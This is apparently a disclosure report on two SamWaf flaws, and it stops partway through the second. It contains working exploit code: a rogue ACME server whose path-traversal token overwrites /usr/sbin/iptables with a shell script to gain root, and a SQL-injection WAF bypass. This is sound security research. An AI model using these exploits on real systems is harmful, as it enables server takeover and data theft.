# SamWaf 漏洞报告 软件名称:SamWaf 开发者或厂商:samwafgo 代码仓库:https://github.com/samwafgo/SamWaf ## 1. ACME challenge 文件路径穿越导致 RCE 简要描述:持有低权账号的攻击者可以把 CA 地址指向自己的 ACME 服务,借助挑战 token 中的 `../` 把文件写到服务器上的指定路径,再借防火墙功能实现 RCE。 影响版本:v1.3.16-beta.13 ~ v1.3.25-beta.11 漏洞引入:[SamWaf commit 805265a4](https://github.com/samwafgo/SamWaf/commit/805265a488d2917fdc891b08a23ab0577432644c) 前置条件:攻击者持有已登录账号,只读审计员即可;SamWaf 能访问攻击者控制的 HTTPS ACME 目录。 ### 漏洞成因 CA 服务器地址、证书订单与防火墙封禁三组接口都在只做登录校验的路由组: ```go // wafmangeweb/localserver.go:172,188,192 commit ecea1ddff7 router.ApiGroupApp.InitSslOrderRouter(RouterGroup) ... router.ApiGroupApp.InitWafCaServerInfoRouter(RouterGroup) ... router.ApiGroupApp.InitFirewallIPBlockRouter(RouterGroup) ``` `caserverinfo/add` 把 CA 地址原样入库: ```go // service/waf_service/waf_caserverinfo_service.go:19-36 commit ecea1ddff7 func (receiver *WafCaServerInfoService) AddApi(req request.WafCaServerInfoAddReq) error { var bean = &model.CaServerInfo{ ... CaServerName: req.CaServerName, CaServerAddress: req.CaServerAddress, Remarks: req.Remarks, } global.GWAF_LOCAL_DB.Create(bean) return nil } ``` 证书订单把这个地址交给 lego: ```go // utils/ssl/ssl.go:80 commit ecea1ddff7 config.CADirURL = caServerAddress ``` ```go // utils/ssl/ssl.go:97-103 commit ecea1ddff7 switch order.ApplyMethod { case "http01": provider, err := newLoggingWebrootProvider(savePath, order.HostCode) if err != nil { return order, err } if err = client.Challenge.SetHTTP01Provider(provider); err != nil { ``` webroot 的根目录由站点编号拼成: ```go // wafenginecore/sslorder.go:47 commit ecea1ddff7 filePath := utils.GetCurrentDir() + "/data/vhost/" + bean.HostCode ``` lego 的 webroot provider 把 ACME 服务器返回的 token 直接拼进文件路径: ```go // providers/http/webroot/webroot.go:35-44 lego v4.30.1 func (w *HTTPProvider) Present(domain, token, keyAuth string) error { var err error challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token)) err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755) if err != nil { return fmt.Errorf("could not create required directories in webroot for HTTP challenge: %w", err) } err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644) ``` ```go // challenge/http01/http_challenge.go:26-28 lego v4.30.1 func ChallengePath(token string) string { return "/.well-known/acme-challenge/" + token } ``` token 由 ACME 服务器提供,`filepath.Join` 会对 `../` 做归一化,因此含 `../` 的 token 可以把 `challengeFilePath` 指到 webroot 之外。写入内容是 keyAuth,其前两行可以是可执行的 shell 脚本,脚本最后一行是带 `../` 的路径,用 `exit 0` 阻止执行。 写入完成后,防火墙封禁接口以服务器身份执行 `iptables`: ```go // firewall/firewall.go:47-49 commit ecea1ddff7 func (fw *FireWallEngine) IsFirewallEnabled() bool { if runtime.GOOS == "linux" { out, err := wafexec.FixStdin(exec.Command("iptables", "-L")).CombinedOutput() ``` `exec.Command` 按 PATH 查找 `iptables`,若攻击者把脚本写到 `/usr/sbin/iptables`,防火墙调用时就会执行该脚本。`os.WriteFile` 只覆盖文件内容,权限位保持不变,因此覆盖 `/usr/sbin/iptables` 指向的可执行文件后,脚本仍可执行。 ### 复现环境搭建 靶标用容器运行。compose 文件内容如下: ```yaml services: samwaf: build: . container_name: samwaf-vuln-app ports: - "18017:26666" - "18018:80" volumes: - ./conf:/app/conf - ./data:/app/data - ./logs:/app/logs - ./ssl:/app/ssl cap_add: - NET_ADMIN networks: - samwafnet upstream: image: nginx:alpine container_name: samwaf-vuln-upstream volumes: - ./upstream:/usr/share/nginx/html:ro networks: - samwafnet networks: samwafnet: ``` Dockerfile 内容如下: ```Dockerfile FROM debian:bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates tzdata iptables curl && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY SamWaf /app/SamWaf RUN chmod +x /app/SamWaf EXPOSE 26666 80 443 CMD ["/app/SamWaf"] ``` 编译并启动: ```bash git clone https://github.com/samwafgo/SamWaf.git mkdir -p samwaf-env/upstream cd SamWaf git checkout ecea1dd CGO_ENABLED=1 go build -o ../samwaf-env/SamWaf ./cmd/samwaf echo '

hello upstream

' > ../samwaf-env/upstream/index.html cd ../samwaf-env # 把上文的 docker-compose.yaml 与 Dockerfile 保存到当前目录 docker compose -p samwaf-vuln up -d --build ``` 启动后 `data/initial_password.txt` 中是初始管理员口令,登录并把口令改为 `Admin@12345!`。新建站点 `test.local`,端口填 80,回源地址填 `http://samwaf-vuln-upstream`,回源端口 80: ![](img/01-site-list.png) 在账号管理中新建 `auditor`,口令设为 `Auditor@123456!`,角色选审计管理员,首次登录后把口令改为 `Auditor@654321!`: ![](img/02-auditor-role.png) 攻击者的 ACME 服务使用 HTTPS。本地复现时用自建 CA 签发服务端证书,并把它加入容器的信任库,用来模拟攻击者持有的公网受信证书: ```bash openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 365 -subj "/CN=SamWaf Test CA" openssl req -newkey rsa:2048 -nodes -keyout srv.key -out srv.csr -subj "/CN=192.0.2.10" printf 'subjectAltName=IP:192.0.2.10\n' > san.cnf openssl x509 -req -in srv.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out srv.crt -days 365 -extfile san.cnf docker cp ca.crt samwaf-vuln-app:/usr/local/share/ca-certificates/samwaf-test-ca.crt docker exec samwaf-vuln-app update-ca-certificates ``` 下文以 `192.0.2.10` 表示攻击者服务器的地址,复现时替换为实际地址。 ### 复现过程 ACME 服务需要实现目录、nonce、账号、订单、授权与挑战六个端点,挑战响应中的 token 就是待写入的脚本: ```python import secrets import time from fastapi import FastAPI, Request from fastapi.responses import JSONResponse, Response BASE = "https://192.0.2.10:8900" TOKEN = "#!/bin/sh\nid > /tmp/pwned; exit 0\n/" + "../" * 20 + "usr/sbin/iptables" app = FastAPI() def nonce(): return secrets.token_urlsafe(16) def reply(data, status=200, location=None): headers = {"Replay-Nonce": nonce()} if location: headers["Location"] = BASE + location return JSONResponse(data, status_code=status, headers=headers) @app.get("/directory") def directory(): return { "newNonce": BASE + "/new-nonce", "newAccount": BASE + "/new-account", "newOrder": BASE + "/new-order", "revokeCert": BASE + "/revoke", "keyChange": BASE + "/key-change", } @app.head("/new-nonce") @app.get("/new-nonce") def new_nonce(): return Response(status_code=200, headers={"Replay-Nonce": nonce()}) @app.post("/new-account") async def new_account(request: Request): await request.body() return reply({"status": "valid", "contact": []}, 201, "/acct/1") @app.post("/acct/1") async def account(request: Request): await request.body() return reply({"status": "valid", "contact": []}) @app.post("/new-order") async def new_order(request: Request): await request.body() return reply({ "status": "pending", "expires": "2030-01-01T00:00:00Z", "identifiers": [{"type": "dns", "value": "test.local"}], "authorizations": [BASE + "/authz/1"], "finalize": BASE + "/finalize/1", }, 201, "/order/1") @app.post("/order/1") async def order(request: Request): await request.body() return reply({ "status": "pending", "expires": "2030-01-01T00:00:00Z", "identifiers": [{"type": "dns", "value": "test.local"}], "authorizations": [BASE + "/authz/1"], "finalize": BASE + "/finalize/1", }) @app.post("/authz/1") async def authz(request: Request): await request.body() return reply({ "status": "pending", "expires": "2030-01-01T00:00:00Z", "identifier": {"type": "dns", "value": "test.local"}, "challenges": [{ "type": "http-01", "url": BASE + "/chall/1", "token": TOKEN, "status": "pending", }], }) @app.post("/chall/1") async def challenge(request: Request): await request.body() time.sleep(40) return reply({"type": "http-01", "url": BASE + "/chall/1", "token": TOKEN, "status": "processing"}) @app.post("/finalize/1") async def finalize(request: Request): await request.body() return reply({"status": "invalid", "error": { "type": "urn:ietf:params:acme:error:serverInternal", "detail": "no", }}) ``` 启动服务: ```bash uvicorn acme_server:app --host 0.0.0.0 --port 8900 \ --ssl-certfile srv.crt --ssl-keyfile srv.key ``` 用 `auditor` 登录,添加 CA 服务器与证书订单,然后把封禁接口持续调用到挑战窗口结束: ```python import base64 import json import time import uuid import httpx from Crypto.Cipher import AES from Crypto.Util.Padding import unpad BASE = "http://127.0.0.1:18017" CA = "https://192.0.2.10:8900/directory" KEY = b"7E@u*has$d*@s5YX" def decrypt(value): raw = base64.b64decode(value) return unpad(AES.new(KEY, AES.MODE_CBC, raw[:16]).decrypt(raw[16:]), 16) def api(method, path, token=None, body=None): headers = { "X-Request-Time": str(int(time.time())), "X-Request-Id": uuid.uuid4().hex, } if token: headers["X-Token"] = token response = httpx.request(method, BASE + path, headers=headers, json=body, timeout=30) data = response.json() if isinstance(data.get("data"), str): data["data"] = json.loads(decrypt(data["data"])) return data token = api("POST", "/api/v1/public/login", body={ "login_account": "auditor", "login_password": "Auditor@654321!", })["data"]["access_token"] hosts = api("POST", "/api/v1/wafhost/host/list", token, {"pageIndex": 1, "pageSize": 20})["data"]["list"] code = next(host["code"] for host in hosts if host["host"] == "test.local") print(api("POST", "/api/v1/wafhost/caserverinfo/add", token, { "ca_server_name": "evilca", "ca_server_address": CA, "remarks": "demo", })["msg"]) print(api("POST", "/api/v1/wafhost/sslorder/add", token, { "host_code": code, "apply_platform": "evilca", "apply_method": "http01", "skip_dns_verify": 0, "apply_dns": "", "apply_email": "a@b.com", "apply_domain": "test.local", "private_group_name": "", })["msg"]) time.sleep(2) for _ in range(200): api("POST", "/api/v1/firewall/ipblock/add", token, { "ip": "203.0.113.98", "reason": "demo", "block_type": "manual", }) time.sleep(0.25) ``` 输出如下: ``` 添加成功 添加成功 ``` 管理端中可以看到这条订单: ![](img/03-ssl-order.png) 应用日志记录了挑战文件的落盘路径: ``` 2026-11-16 02:06:17.081 INFO ACME证书: 文件校验-挑战文件已生成 域名=test.local 路径=/usr/sbin/iptables 可回读=是 实际大小=156 期望大小=156 CA将访问=http://test.local/.well-known/acme-challenge/#!/bin/sh /../../../../../../../../../../../../../../../../../../../../usr/sbin/iptables ``` 防火墙执行了被写入的文件: ``` [DEBUG] 执行命令: iptables -I INPUT 1 -s 203.0.113.98 -j DROP [INFO] 成功封禁IP: 203.0.113.98 ``` 查看执行结果: ```bash $ docker exec samwaf-vuln-app cat /tmp/pwned uid=0(root) gid=0(root) groups=0(root) ``` ## 2. 逻辑漏洞导致 waf 绕过 简要描述:攻击者在请求中加入 `Transfer-Encoding: chunked`,或把请求体填充到 2048 字节以上,即可让 SamWaf 跳过对请求体的检测。 影响版本:v1.0.128 ~ v1.3.25-beta.11 漏洞引入:[SamWaf commit 7be63fc1](https://github.com/samwafgo/SamWaf/commit/7be63fc156cb12009366e916c344e6a1225310e3) 前置条件:无。 ### 漏洞成因 请求体的读取被两个长度条件限制: ```go // wafenginecore/wafengine.go:271-291 commit ecea1ddff7 contentLength := sanitizeContentLength(r.ContentLength) var bodyByte []byte // 拷贝一份request的Body ,控制不记录大文件的情况 if r.Body != nil && r.Body != http.NoBody && (contentLength > 0) && (contentLength < (global.GCONFIG_RECORD_MAX_BODY_LENGTH) || cacheConfig.IsEnableCache == 1) { ... } else { bodyByte, _ = io.ReadAll(r.Body) r.Body = io.NopCloser(bytes.NewBuffer(bodyByte)) } } ``` `GCONFIG_RECORD_MAX_BODY_LENGTH` 的默认值是 2048: ```go // global/config.go:6 commit ecea1ddff7 GCONFIG_RECORD_MAX_BODY_LENGTH int64 = 1024 * 2 //限制记录最大请求的body长度 record_max_req_body_length ``` 分块传输时 Go 把 `r.ContentLength` 置为 -1,`sanitizeContentLength` 把它归一成 0: ```go // wafenginecore/wafengine.go:1429-1435 commit ecea1ddff7 func sanitizeContentLength(n int64) int64 { if n < 0 { return 0 } return n } ``` `contentLength > 0` 因此不成立,`io.ReadAll` 不会执行,`BODY` 被置为空串: ```go // wafenginecore/wafengine.go:324 commit ecea1ddff7 BODY: string(bodyByte), ``` 请求体没有被读取,因此没有被消费,反向代理会把原始内容完整转发给后端。SQL 注入、RCE、目录穿越、上传等检查都以 `BODY` 为输入,例如: ```go // wafenginecore/checkrce.go:24-25 commit ecea1ddff7 isRce, RceName := wafdefenserce.DetermineRCE(weblogbean.RawQuery, weblogbean.URL, weblogbean.COOKIES, weblogbean.BODY) ``` 请求体达到 2048 字节时,`contentLength < GCONFIG_RECORD_MAX_BODY_LENGTH` 不成立,读取同样被跳过,而不是只截断前 2048 字节。 ### 复现环境搭建 环境与第 1 节相同,重新启动一份干净的实例: ```bash docker compose -p samwaf-vuln down -v rm -rf data conf logs ssl mkdir -p data conf logs ssl docker compose -p samwaf-vuln up -d --build ``` 登录管理端,把初始口令改为 `Admin@12345!`,新建站点 `test.local`,端口 80,回源到 `http://samwaf-vuln-upstream`,并启动该站点。 ### 复现过程 先发送一段带 `Content-Length` 的 SQL 注入请求,作为对照: ```python import http.client payload = b"id=1' UNION SELECT username,password FROM users-- -" connection = http.client.HTTPConnection("127.0.0.1", 18018, timeout=10) connection.putrequest("POST", "/login", skip_host=True) connection.putheader("Host", "test.local") connection.putheader("Content-Type", "application/x-www-form-urlencoded") connection.putheader("Content-Length", str(len(payload))) connection.endheaders() connection.send(payload) response = connection.getresponse() print(response.status) print(response.read(70)) ``` ``` 403 b'\n \n \n \r\n404 Not Found\r\n\r\n